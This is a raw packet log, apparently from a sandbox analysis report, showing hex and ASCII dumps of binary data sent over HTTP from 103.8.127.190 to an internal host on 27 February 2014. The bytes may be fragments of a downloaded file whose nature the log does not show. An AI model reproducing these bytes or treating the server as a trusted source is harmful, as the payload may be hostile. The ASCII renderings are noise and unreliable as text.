Feb 27, 2014 17:55:41.449487925 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: e9 1d 6b af b7 f9 32 d8 7f 54 fe 12 41 21 42 8c 5f 60 4c 8e b7 a9 cc d0 1f 9b 8a de e2 d8 ed a5 46 46 5a 6d 25 53 b7 b8 35 83 9b f7 37 4a 0a ae 41 e7 4c 8e 31 17 4a 1d 92 6d a3 9a dc d3 d5 a4 78 c6 f8 5a 36 f2 02 cd db fd 2a 57 14 db 3e 64 9f e6 Data Ascii: k2TA!B_`LFFZm%S57JAL1JmxZ6W>d21;B0e/jjX?2{+[(y{#sVWmkU(pj]k3sGDiJ+-MN]QAy6`>	474
Feb 27, 2014 17:55:41.562858105 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 21 cb 91 e7 94 ec 26 d7 43 8a 13 33 0f b2 86 f9 4f ea 4b d0 03 34 d2 cf 42 32 21 da 2c b2 0d d3 81 19 57 b3 2e 30 4a 89 86 38 09 19 0a a5 63 97 4b 81 73 ef 54 17 97 83 fc e0 f7 29 6b c4 d2 e4 4a 62 59 ea 0c 4e e1 27 25 2e 1e 5f 57 dc 92 95 e3 ec Data Ascii: !&C3OK4B2!,W.0J8cKsT)kJbYN'%._W\Jy.5he,SR[c'/HVjH,-!S"Jwq6dU( J^#,ryG>/91gtN?bWp8,F]F^j\EAFIh%D}83\|*Tv;'	475
Feb 27, 2014 17:55:41.624002934 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: df b7 03 22 17 29 da 4c 46 aa 05 e8 56 f1 5e ec 03 f9 06 44 1a f9 48 8c 09 1d 4c 23 55 f9 14 ed 5f f9 5e b8 ff ed 3f ce 59 d0 4a f4 03 03 4a b8 5f ed 0b ac 03 ed 6c d7 43 d9 83 99 17 63 9f ef c6 aa 50 c8 36 f3 d9 ad 9d f9 4a e0 ce 81 c6 07 17 83 Data Ascii: ")LFV^DHL#U_^?YJJ_lCcP6JQG^W"4_xR7QJK>CdBxtK4dJWl[v^}~F7JJWJDyCtwN{QDuNKRb-Jk	477
Feb 27, 2014 17:55:41.624010086 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6e 70 8f cb 05 fd 92 a9 31 bc 9b a4 bb b5 30 a8 5f 55 cf e8 67 41 7e 11 22 d9 32 c1 b7 f1 21 88 53 5d 68 ac 63 ea 37 c4 54 8c a2 15 1f 81 32 bb 51 bd 8e b2 d7 71 4e ec 64 5f 09 ed 6d 49 43 20 17 53 70 c5 87 9d 8a 12 7d 78 c9 ef 58 dd b1 e8 ac be Data Ascii: np10_UgA~"2!S]hc7T2QqNd_mIC Sp}xX/x<<gyJ~exT,rjU[Qdnr;fWf 1O6B`(-jNK%?fj^c1_Zd60 +hVN^":y4	478
Feb 27, 2014 17:55:41.624147892 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c0 19 80 2c 58 a9 82 41 4b 3d 99 b9 33 d9 c8 0a 2b ab ca aa 33 8c 93 ac 3f ff 8c db 29 38 33 17 11 85 0a 4b 05 dd 35 62 de a0 3c ac df 89 c5 86 2d cf 91 e4 13 00 d4 6b da 3b 37 82 46 eb 5a d2 14 e8 23 d9 33 92 4e 28 1f 58 98 2c 91 dd 94 e9 e4 9b Data Ascii: ,XAK=3+3?)83K5b<-k;7FZ#3N(X,N~nhBJ">HnOjO_}&4yNa2<iVIYa0e3rkk-1C^JDDj$z8"J^d-[eu8JW^	479
Feb 27, 2014 17:55:41.890763998 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 57 b8 02 ad 42 e9 32 a6 bc f9 62 ed 55 96 c1 d4 d8 ae 0a e3 38 f9 5e ec ff f9 92 fe 17 6b f0 62 1b f1 88 69 c7 e9 66 55 b3 01 ca 81 17 b1 5e ac 03 b8 0a 26 7d 7a 1b a9 d7 5d f3 23 a0 89 5a ad 73 79 1a ac 17 f9 ee ce ea 59 59 88 17 ed 0e f5 08 31 Data Ascii: WB2bU8^kbifU^&}z]#ZsyYY1WBy^2*#Juv<zADsmZ5V.8IJz{.,y,(BJ -&PWxdeK,JotH9(	479
Feb 27, 2014 17:55:41.979537010 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 42 9f 17 e4 9e e7 77 cf b8 9a 63 f1 f3 1e 08 3c d8 40 22 e6 6d a8 fd 03 8e 3d 1e c8 97 34 93 f9 78 d4 cd 35 ab 72 6c 8b 4e ad 33 fd d8 7f a5 18 83 02 17 33 08 e4 56 31 28 c7 65 b8 4c 3e 27 46 53 65 a4 7f da c8 57 dc 8b 21 3d 45 80 29 99 3d 4a 65 Data Ascii: Bwc<@"m=4x5rlN33V1(eL>'FSeW!=E)=Jed.G~#hU"PL#~v]jbRir*B5'>ts<(GueFHiQ4lQ:s;(tXZj?)Q(^EJQ-	481
Feb 27, 2014 17:55:41.979669094 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6a bd 0b f1 cb 1f dc 1d 68 49 6e 54 40 ae 4b af 68 26 43 ec 07 ca 5f f9 56 24 df 41 0d 7c 1f 60 48 54 42 db 6b 29 b7 b5 63 eb 07 8f f6 b2 c1 ed 68 e1 95 cb 4a af 45 26 18 04 04 81 5d a4 5f f6 f2 2a 35 51 ca d4 0f f9 0f ad 04 26 ea 6f e0 55 42 d1 Data Ascii: jhInT@Kh&C_V$A\|`HTBk)chJE&]_*5Q&oUBlisJmsDOldsyij;s[VlxJ"s,z4nu4e,%24cSK4WR"49q@eiC+?8-A	481
Feb 27, 2014 17:55:41.990502119 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5b 96 4b fa 35 d4 35 28 a3 6f 18 b5 97 5b c0 48 0b b4 c7 5d a4 db 4a 8d 4a 9f 35 b5 ff f5 2d 2d 72 db 40 1d 61 19 a2 ca 11 db 4a fa 6e 3c 84 f8 68 92 6a ad 81 d8 af 25 ad c1 e3 70 67 fd fb cc 20 d8 70 ab 19 86 7f a8 f7 34 2c 8d 6a f0 b6 8b cf f9 Data Ascii: [K55(o[H]JJ5--r@aJn<hj%pg p4,jMYAQH\|T-.n-k6h\|Y:l(oQz6NvQK4dsT}8QN,k3ok3Jj3P]%o5dY 6l9~6he.+86=	483
Feb 27, 2014 17:55:41.990509033 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 65 75 06 e8 13 bc b3 e8 17 d8 1e df 27 f3 9c 5e 26 f8 0e e9 9e 52 7a cc 6a 49 7f ad 51 bc 24 62 34 d9 c6 7c 1b fd c9 1b d1 bc a6 82 c9 d0 96 8c df a7 e2 c2 de bc 0f 84 c3 d9 4c f0 f0 e8 19 ca 53 b2 66 2c 63 32 2e fa 73 de c9 68 53 b9 2d da 41 af Data Ascii: eu'^&RzjIQ$b4\|LSf,c2.shS-A1YkN\|"1C#*0/^!2;0J%qz!TJoI{>-w?Z-R10@-RFMRNR#{[	484
Feb 27, 2014 17:55:41.990639925 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d5 c8 10 ac 56 69 3a a2 4e f1 5f 56 15 4e 7c 8e 23 9d 04 e4 fa 7e 4b 18 36 1a 6e f4 0a 8b f7 df 07 60 5b e4 7f 1f 6b 54 53 3d 4a b9 4f f5 5b 44 9e b7 bf ad e2 d8 ae da ee cd 00 c9 f8 f9 22 3c 7b 01 c6 e5 95 82 4b 88 35 e9 10 3b 06 a5 4c c0 97 dd Data Ascii: Vi:N_VN\|#~K6n`[kTS=JO[D"<{K5;LVAJmAf^k%h&wrV:gcK4Knn7J_r:Q_]kiy^sn8ON~Qj,K7 so[JigiOnY>*eZ4	485
Feb 27, 2014 17:55:41.990680933 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a d0 97 25 2b fa 8c 8b e5 2d 81 d8 46 9c 38 4f 26 df b1 d8 4a bf fd f9 07 af d3 c3 03 a4 0f 81 50 49 36 79 ad a8 76 f1 fe dc 42 5d 6b 4e 58 87 1b ac 2f 75 3a 98 ea cb ad ca 13 97 82 e9 c6 3f 2e ef 25 d9 ca c6 5f 1b 5f 1e 5b 73 1c 8e 17 0a 88 1c Data Ascii: J%+-F8O&JPI6yvB]kNX/u:?.%__[s6A'z59=g03]M>"JB9z/4M@nZ 854puTg()SihZr4!A^}hZc[O1fJ_JYB$DJ^szh=J	486
Feb 27, 2014 17:55:41.990684986 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 08 f8 e3 ae 3e 0c 51 bb b1 ac 47 dd 85 1b 87 a2 c0 f8 56 7d 08 dc fe 31 46 67 f1 b8 89 ac cc cd 1c 9e dc 4b 1d dc 37 e5 c9 98 cb 8b 0f ee 29 1f 4a fa c3 ff 6c 25 49 50 71 a4 4d fa d8 4a 55 74 56 98 29 f9 9f bb 28 9a 67 80 c4 43 48 d0 13 ba 52 a0 Data Ascii: >QGV}1FgK7)Jl%IPqMJUtV)(gCHR'\|UFo)"?ynk;}&aN+-8jo2Q~OI+,Es~0:x[U1V2$^\|r_+k?,U	488
Feb 27, 2014 17:55:41.990736008 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a 50 47 1e 2a 92 c8 fd 8b a8 9a 19 0d e9 ce 85 71 aa 6f f1 46 c2 9d 4f 68 40 15 26 9b ac b5 c1 4b d4 3a 31 79 fc 15 e1 ac 8e 90 f1 3d 26 87 a6 0a 55 02 31 c7 24 ef 0f 68 fc 57 ed 8f e5 81 eb 9e 59 35 e6 4a 14 c8 40 47 40 15 cc 46 ae 20 cc c2 0b Data Ascii: JPGqoFOh@&K:1y=&U1$hWY5J@G@F /UymiBFOx0l'e\F?H\|<>Jw4\|%B/_ihOjMJcs_;ylr!E\|{QyH8wsWt0'X4+;W)	489
Feb 27, 2014 17:55:41.990926027 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 09 26 cd f9 ba 4e 22 fe 55 83 c9 28 4e 78 3d fd 0e ed 89 5a 69 8e 16 7f 09 00 dc 5f 49 3f 5e d7 4a f7 df 9e 78 16 49 ca 4f ed b1 bd 32 04 fb 95 31 89 53 43 0a fd d4 cc 44 1c 54 df 0e 3e 07 bb 29 8b da 1d 09 08 d5 80 6a a6 01 0a 6b be 91 ba 2e b2 Data Ascii: &N"U(Nx=Zi_I?^JxIO21SCDT>)jk.%mJ)NJ	489
Feb 27, 2014 17:55:42.226052999 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6b d3 b0 0a 54 ff b2 a5 76 fb fa 28 55 11 83 d4 59 1b 7e ad b2 bb 4e 02 1f d8 32 eb 77 79 fa 0a a4 a0 c2 7c df 7f 08 ac 0f 50 98 3f a9 a6 2e f1 97 1e 7a cc a4 24 8c 50 92 bb ca 6b c6 d0 ab 53 4d fe 0c ee 17 32 5b e1 33 a5 f9 e8 bd f8 ef ee 5f ad Data Ascii: kTv(UY~N2wy\|P?.z$PkSM2[3_fK9KZjj{!Jp1hN;hWhVjZ!wKG1hbe}8$gV0yX40Do?uZ~l{" M2lJ-;4	491
Feb 27, 2014 17:55:42.226070881 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 17 31 fa c8 37 35 9c a5 4f fd d3 67 01 d8 1a 06 89 22 cf ad 01 d8 2e bd 1a 7a ac de 95 f1 74 13 64 0c 6a 37 32 39 29 ac cd 02 d3 36 5c 72 0d f3 15 e0 be 8c 29 48 32 9e dd 4a ca d8 04 17 d9 3b 5a 14 3f 8d 17 b1 88 92 4c ab 36 8a 24 fd 83 64 41 d8 Data Ascii: 175Og".ztdj729)6\r)H2J;Z?L6$dAhD=XJ-%MB5Qz_-gkP\|\(QyYlfghaXy6)#J{!0/<1wRGxoSLN}cqSh,JyAdh%W	493
Feb 27, 2014 17:55:42.226073980 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 2c 20 f6 5c d2 71 0b ac aa 5c 5a 23 64 42 10 d3 13 be e1 4a 54 91 20 62 af af 4b 28 54 0b e2 04 f1 c4 aa 0a 16 1f 08 73 d7 f0 01 ee 55 ab 0a 18 31 e0 b6 28 c5 7c 09 79 37 59 9d fd 1c c9 6c ef 5f bb 4a c8 97 49 2a c7 06 7a f5 bc 2b 71 85 22 f3 ba Data Ascii: , \q\Z#dBJT bK(TsU1(\|y7Yl_JI*z+q"~gy!M3U\;z`v+XB%M\7I]Q,]j23]8?:3QTu=3X><`B,_rMtT2,VPjB<pd{No+iO{;%cyJ	493
Feb 27, 2014 17:55:42.248306036 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 8e ef 59 b1 50 15 d9 e9 11 0c ff 9b ac ef b2 b9 89 ac 98 5f ed a5 20 fe 53 ff 07 3d dc b9 bf 3c 0e 22 85 e1 5a 63 98 ef 3f a8 53 07 31 64 17 5a 22 93 3f 19 7a 14 fe e9 ea e9 98 0a 6c e9 9a 4d 2a a8 47 06 cc e8 7d cf 82 a6 e6 f8 09 ef c2 3c 5e 04 Data Ascii: YP_ S=<"Zc?S1dZ"?zlMG}<^z>a4E^Zj?#@UT OQ;Qv?GY]#5[FRHpN#cPJ9@+a#1Bh5k]?@K~HZ:	495
Feb 27, 2014 17:55:42.248323917 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7e d5 13 2b 89 59 37 df f6 a9 68 54 48 26 e1 d9 25 f2 67 45 a5 fe 17 8f 78 c7 2c 9d 6a bd 48 f8 ce 8d 55 0f f4 72 30 9c 24 2c de f9 ee f1 07 66 3c a9 35 f9 28 e3 44 1f 2f f1 a4 34 5a 2f 50 ab c2 ea 35 34 43 bc 97 e6 59 a8 58 2f 10 71 22 db 4a fc Data Ascii: ~+Y7hTH&%gEx,jHUr0$,f<5(D/4Z/P54CYX/q"J$K,?;z54k}Q)b?\|/h6J"P=tS(:SZZs)8C-8416E3RyH8iU(eviX&JzrV}%MN'	496
Feb 27, 2014 17:55:42.248464108 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6a 1d 98 70 03 65 32 bb b2 23 37 57 66 25 57 9a 0c ed 45 78 4a e1 74 31 c5 99 21 24 ff a4 75 65 da a9 55 17 2e fe 4e fd 09 1d 31 bb 4d 7c 98 52 bb bc b8 d0 6b 62 53 bb 20 44 76 b9 e3 60 be 32 c4 ca 91 bb c5 ac d9 84 70 cc 8e a5 fb 74 1f f0 dd e7 Data Ascii: jpe2#7Wf%WExJt1!$ueU.N1M\|RkbS Dv`2ptr6Jcz/+CUA\UO%aQy_rZ`N:B54b2v#>IHz1GhCbSuS),{*SDtN WJ=DITJ &.Ys	497
Feb 27, 2014 17:55:42.270679951 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6a f4 5c a8 02 27 91 db 1a e6 37 26 01 6c 2d 6e df 8e 9a 00 4a e8 e0 05 5e d6 44 18 1e ad 51 db a6 73 a7 aa 9a 89 df f8 4e 8e 5b db af a6 24 71 75 a4 97 0f 1b 7a 36 26 9e 3a 3b b9 f2 53 04 6c 99 ef 12 db 31 ec 27 00 0f 44 47 a6 8c 8d de f9 09 67 Data Ascii: j\'7&l-nJ^DQsN[$quz6&:;Sl1'DGgvsnwnhs'8JiB_6<,ez6pZs60Y6wdAPr<7+he"hE2\UHrq("$hMHanB^s/T.Fi0Khb	499
Feb 27, 2014 17:55:42.270697117 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4f b8 39 f9 e9 88 ab 3d 4b 7b 58 43 6a 7c f8 11 0b fc 17 b9 0a 44 17 b9 12 3a de fd 38 79 a7 39 02 ce b4 ba 04 04 57 cc 8b 3d 17 92 ad 5b 2a 26 97 2d 12 39 00 dc f9 5a b3 ed d7 dc 8b 09 17 11 aa cf 6c f3 5a 44 07 d9 cf 9c 56 ed 0a ac 0a 11 a2 ac Data Ascii: O9=K{XCj\|D:8y9W=[*&-9ZlZDV&U$0QJ8Zdi(+w7\^'J\|(C=/=G)z]7ex~JD{UTQ39EKN\iLBJj@2E	500
Feb 27, 2014 17:55:42.270699978 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 68 e6 6d f9 84 d5 04 b5 53 32 7d 1d 48 31 73 db 58 f4 4e bb 3c e8 97 01 ca 78 08 68 20 65 71 db 4a 97 61 24 9b 10 5b 33 eb a8 45 51 5c 8e 4b e4 c5 04 d8 f9 4c 92 3e 84 55 ba 98 35 4b 2f 35 81 37 48 df e5 52 1b 13 98 24 c9 35 b8 4e c4 16 45 4b fa Data Ascii: hmS2}H1sXN<xh eqJa$[3EQ\KL>U5K/57HR$5NEK5"aJ+Ah"mOF(.[2r)yJ}Ah'Nw<k-RBAYPQO/N@h7Brtsd<=M8**xvBHK$<P.<	501
Feb 27, 2014 17:55:42.281111956 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 37 77 48 de b8 4d 6a 46 e9 25 0c 04 c1 d9 5e 96 97 a5 f0 fc f6 78 2d 9a b3 d9 4a 3e 92 57 bf 98 60 6d 06 2c bd af fd 25 5a 2b 4e 7a 37 f9 0a 25 c5 ad 4a ac f5 8d 42 74 ab 0c 9f 8c ce 98 a7 e4 57 98 b0 a8 c7 57 8d 0a 37 29 4a af 87 65 32 3d 60 c1 Data Ascii: 7wHMjF%^x-J>W`m,%Z+Nz7%JBtWW7)Je2=`6FcyBk,4Yqh6ET)BGD\x!wnk2so'v\fn,o#86]vNHwkg!},0ru,45XTQK"	503
Feb 27, 2014 17:55:42.281127930 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 87 04 48 bf 6c d3 2b a1 57 72 6b 9f 6c 37 35 6a 5f ad ca 6c dc ba c0 64 cf 01 4e e5 17 98 aa f1 7c 82 08 a7 32 f8 2f e5 c6 42 7e 25 7b 9f 35 8c 01 96 1b e9 d6 3f 03 e3 95 f9 a2 ea a9 6b 98 0a de 90 4b 89 5d 1e a4 29 17 ad 0a d3 16 bf 00 a1 32 fd Data Ascii: Hl+Wrkl75j_ldN\|2/B~%{5?kK])2uGQL\|ZILgPS1ts&a.WL98q!vec8]ukXuVSNW\|7LJJL3xd"R<,CZfJ<(j	504
Feb 27, 2014 17:55:42.281164885 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 72 ad d4 e5 45 af 6b e3 f8 f1 54 90 22 ff 6b c0 1f b6 13 ac 43 1d 0a d4 62 6b fc f0 1f 26 f9 d5 62 d8 42 9c 14 69 4a 2e 83 7f 2e aa 22 04 21 ae 9f 0d 6b 03 ce dc 8b 05 03 fd ce ef 03 db 2e ec aa bd a6 bc 32 11 64 27 51 db f4 ca 14 d9 5a e7 03 bd Data Ascii: rEkT"kCbk&bBiJ.."!k.2d'QZ5MaaKN5EZ}Q5-&GFH6Lq,y;(5i6o7GJCI"rY5_NRV)Z6ynj\S,ktW+i5	506
Feb 27, 2014 17:55:42.281291962 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 13 a7 72 bf bf 30 4c 20 c5 e9 12 57 c5 e3 cf 26 94 3a 2a a8 27 dd cc 24 5c 25 25 3c da fd 5d fd 53 7e 25 e4 d3 66 fd a4 59 80 af 2a 91 b1 e1 b3 fa f9 e9 57 94 4d 1d db 6e 8c 4b 29 90 39 4a b1 c2 76 13 0a 37 bf de 78 17 e9 0c 25 1c a5 4a 89 54 a6 Data Ascii: r0L W&:'$\%%<]S~%fYWMnK)9Jv7x%JT=@~A	506
Feb 27, 2014 17:55:42.336990118 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d8 66 ef fb 94 bc 22 99 28 b9 11 70 03 b3 46 fd 02 eb 51 71 4e fa 27 49 2a 2c 30 ce 52 a6 ff ed 7f ea 9e 79 18 98 90 f9 4b d7 4b 3c c2 ac ad dd 1f d7 47 0d 7c 2a 1f 82 1b e6 51 70 0a cd 45 3c 42 2e 5b aa 0e 2b f0 21 67 1e 97 b6 2b f4 23 ac 75 34 Data Ascii: f"(pFQqN'I,0RyKK<G\|QpE<B.[+!g+#u4Qq\|7[G2(!JZB3-yIE?M?Sun@bI6q .,8n*S12,52+d=ABR92NWoU[J	507
Feb 27, 2014 17:55:42.337008953 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4e 69 97 5f 6b ea 09 4a fb aa 17 ab 1e 69 d0 cd 21 04 dc f8 fe 8d a2 28 db d6 8d 2c eb 2c d7 6d 0c c7 82 67 4a 7b 73 d9 32 40 a7 79 30 99 35 ec 70 ac 56 1d 92 de 87 98 3b ed 15 07 bc 8d 68 0f d8 b0 1e 13 5a a8 fe 69 90 88 35 a5 43 b9 17 d5 87 9b Data Ascii: Ni_kJi!(,,mgJ{s2@y05pV;hZi5CP_kkRI6Fj5i9gwzNa'7I1V`5ul9ibaZoPMKnHch.7$ys<NizNp7G09W	509
Feb 27, 2014 17:55:42.337012053 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c8 f0 5e 8f 46 6f 1e f8 6e ec 32 f9 0a c0 64 b9 01 00 6d 32 d5 e2 92 74 b6 2c 56 8a 6e a6 6e cb c2 ea 9a f9 6a e2 4b 5d 42 b0 03 60 cb e8 9b 13 62 68 53 7f 48 ea 9d f9 05 66 54 62 00 c5 2a d8 5a 87 5f c2 82 69 9d de 43 17 97 8d 99 a3 00 ca 4f 9c Data Ascii: ^Fon2dm2t,VnnjK]B`bhSHfTbZ_iCOrJKF$wj//^I_X4TsS"(j$%o\]CE BJ/-2")J1GkVj%}nJp)t?nbg4HQ7kZr	510
Feb 27, 2014 17:55:42.337014914 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a ae f5 df 68 a2 13 8d 74 94 bf f9 3f 7f dc 35 21 68 ee b6 48 94 74 db 1a bb bb 1f c9 08 13 e9 79 99 35 3c 7c e6 b3 5a 0a 9c 28 91 d9 f4 de 7e 22 1a 17 fd 12 81 5b e7 a2 d6 57 fb 62 aa 35 fa 6f 02 6e 4a a5 ad a1 d8 7b 0c 6c df c1 10 51 fb 94 2a Data Ascii: Jht?5!hHty5<\|Z(~"[Wb5onJ{lQ6BYXWoin4bskd"Z6'Pv6>%WnR7j^QzX"Bn6799h$Lk<Ua'Nk5)#O(6	512
Feb 27, 2014 17:55:42.337074041 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 2e e9 3c c6 13 d8 17 9f d2 6a 9b 41 42 35 20 d2 d2 8c 19 f4 03 24 36 3b 09 92 72 c4 2e 8c 7c 9d 1c 3a eb cf 1b ee 01 6a 1e d2 b1 3a 18 7b d7 dd 69 8f 87 52 0b ca cc e7 af 08 52 b1 83 02 d7 60 29 db 92 fc 14 c9 69 ea 25 9e 09 46 04 94 08 98 9d 1e Data Ascii: .<jAB5 $6;r.\|:j:{iRR`)i%FuN5[(tfZM%Jls`B;/tU+4"7.6[?"WfXAF?[i^%Q\Q<A`W+P2NHAZ(RW(lS!F!b	513
Feb 27, 2014 17:55:42.337203979 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 42 f8 17 27 0e dc 38 58 1d a6 28 24 5e cb 5f bd 1d 75 68 86 e8 01 e6 cc 83 33 16 2d e0 d4 70 f0 7e a4 b6 50 c8 86 59 01 ed 65 17 c5 c1 08 35 9d 9b aa 13 4f eb fe 51 cf 42 9d 54 f5 5a 50 73 d5 1d 2d ae 96 3a 83 5a 71 6d 25 57 fe 7b c9 65 92 83 6b Data Ascii: B'8X($^_uh3-p~PYe5OQBTZPs-:Zqm%W{ek6V~:>pK[B3=$aU-40%W_y~PaT[4FNvBV?v3MbTF3v\~,-Hjc &dBd!G2	514
Feb 27, 2014 17:55:42.592946053 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1f 5e 2b 3a 42 e8 33 11 02 57 e2 b1 1d a2 79 72 46 9d 00 0e 01 bf ea b5 80 89 b5 b6 83 e8 17 36 c8 fd c1 bb 7e a5 11 8b f3 46 bd 79 f9 ef ac 76 8a 6c 32 3a 9b e4 06 e0 48 db 1e b5 42 28 33 61 ff 33 16 cd 1d ab 26 74 90 5d d8 70 79 78 3b 1c 07 18 Data Ascii: ^+:B3WyrF6~Fyvl2:HB(3a3&t]pyx;<Y.R~.mWZRr }xzB\|E5p3'916lMt?~HJ2-OW2B4M?.Yw]ISFeJFoz]~2	516
Feb 27, 2014 17:55:42.592962980 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 84 af e8 28 57 5a 02 b3 9b d5 e6 79 81 9c 0f 88 04 2d e8 79 ea ae 90 89 42 c7 f2 0d 55 f6 5d 9d fc 23 57 f8 63 ab 76 53 2e cf d9 b5 ad 1d 95 cb 7c 25 43 ea 7e d4 a3 b1 18 ec 41 dd 8e cd 0e 46 bc f7 54 fb 75 14 ff 3a 83 24 52 9b a8 fb 76 b1 3c d7 Data Ascii: (WZy-yBU]#WcvS.\|%C~AFTu:$Rv<_=0=eNx$\>})(k?+*1"RVwYBmlP(p.IKd}l sQVTy0~50,?.MuJ&e=7u95""	517
Feb 27, 2014 17:55:42.592966080 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 66 e7 4f 81 47 80 54 11 fb 66 97 6f f4 69 c6 f0 0a ae 34 81 46 61 d8 db a5 b1 1b a2 ff f0 55 50 0a 8f 5a 27 69 99 53 a1 14 bc 69 cf f9 13 3b e3 af e4 3d 81 9c c4 56 8f df 30 a1 98 ae 28 32 4c 4a a8 b7 ac b5 6f d1 ee 4d a9 d4 d5 8b 3a 42 a6 7b 9e Data Ascii: fOGTfoi4FaUPZ'iSi;=V0(2LJoM:B{nN(RJzOJj&SxK1{VL@sw(M3nm*ESUN]un7.ORp\@^n]BRQJA}3_HQZ	518
Feb 27, 2014 17:55:42.615504980 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1a 11 f7 ab a1 6d f6 f1 01 c2 d2 89 e3 25 d9 7f 11 04 ee 30 2e 5a 8e e4 0e 75 ff 8d 98 e3 ff 57 53 16 ce 81 c8 fc 58 51 98 a8 7c fd 06 ed ca 3b 2a 71 53 f9 90 ec 5c 6b 23 7e e2 9b 2a 98 fa 78 12 47 f7 f1 44 bd ce 75 45 74 5f 28 8a f4 5e bd ef fd Data Ascii: m%0.ZuWSXQ\|;qS\k#~xGDuEt_(^-guR-P"iM$$grKR*LKTJezjfGb2\|Je_};3VjLmJTeQb{0 l<_9=%0E16yg;	520
Feb 27, 2014 17:55:42.615513086 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 22 6d c6 80 97 3e bb 6d ce 68 d8 c1 d3 0e 08 61 27 e3 c0 fd 4a 47 f6 fd d2 32 2b 1f a5 96 7c 65 ad d7 b0 7c 81 94 7b 9b bf 18 b3 9a 1a 43 85 59 31 b1 f0 6b 5a d8 44 28 8f 65 74 51 87 04 3c 5d 00 e9 48 bb 76 dc 56 f1 c0 ee 90 d3 4a 65 9f 51 9e bc Data Ascii: "m>mha'JG2+\|e\|{CY1kZD(etQ<]HvVJeQ;?s"Ut~H^Ig0]MeANFy`>(D]3VEiJx\|~knZffGie)r)5OySp$.m	521
Feb 27, 2014 17:55:42.615526915 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 71 23 32 0b 69 c7 ff 46 33 07 25 8b e3 d5 b9 46 9c 5b c4 46 39 1b 1e 44 18 55 52 cd c7 32 c3 a5 11 eb 4f 76 33 ba 13 51 83 01 20 50 92 3e 6d 6f 51 cd 3c b7 55 07 91 32 0a 44 76 91 19 ec dc 40 d6 7f a9 78 31 da a3 68 ec 7b d7 c9 68 12 16 77 2b 55 Data Ascii: q#2iF3%F[F9DUR2Ov3Q P>moQ<U2Dv@x1h{hw+Us)%I>EnG_?Tr0(DH:TI3u(kZPNF~Mf9KTF.,sU)Ddoski\|Z<3Ug%W9S/*WpyTgA;4~#	523
Feb 27, 2014 17:55:42.615530014 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6a 33 1f 51 a6 8a 97 69 44 70 1f fc 83 a8 d6 58 77 5f bc 80 2c 84 00 a0 c4 29 ed 79 6c f8 af 30 96 20 ff 8a 4e a0 b1 40 c2 ec 01 a9 05 76 d7 b0 62 50 d8 b9 28 69 89 9d 1c 8f dc b2 c6 4f 17 1f 0a 9a 31 cd 9b 9b 72 43 61 92 77 41 3c c5 dc 0d 9d 89 Data Ascii: j3QiDpXw_,)yl0 N@vbP(iO1rCawA<B9E~\|\|N..j2e9^D_Sr}PC@WB)F%dP<sOQO;A\|#-\|\|v<Bsfq9^@4\_k](wM-"Vq^PAWiR9I/B;O_$@D4D.Nn-=/B	524
Feb 27, 2014 17:55:42.615533113 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 28 c9 22 dc 11 29 53 8d 31 bb 7a b5 e7 28 cd cd 0d 3e 57 33 31 98 f2 bc 19 d5 ea 2c 2d b9 e9 93 1b 4d 85 4c 2a 96 af c5 9a af 57 f3 73 ed 41 06 75 12 27 6f 76 61 a1 d1 f2 24 4f c9 b7 27 49 ac ec 04 75 ea f4 dc cb ac 2d 04 0f ef 4a 71 e0 4f eb 99 Data Ascii: (")S1z(>W31,-MLWsAu'ova$O'Iu-JqO#:eQ\_X@aJ:?$v-7t[bA"C8iXJn(\3bTw2m&^JxK7H~F^yVE<GL7A7z;N	526
Feb 27, 2014 17:55:42.615638018 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1a e4 ab de 59 d9 36 41 bb 2c 9e 0b 7f af ee 1c 18 5b 51 3e 86 65 31 b2 1b 3d 8f b2 1b e4 2d d2 1d 0b 3f 58 b1 84 99 a5 6e 69 71 ea c2 ba 57 f1 b8 29 5e bb 8f bf 5b f5 0b c9 64 ce 3f ec 23 e0 4c f8 9e a3 4e cb 48 80 28 b8 8d 8d 20 6f fe e7 9a e9 Data Ascii: Y6A,[Q>e1=-?XniqW)^[d?#LNH( ooSJ?([!OWGA0oHC!Zg: (X1	526
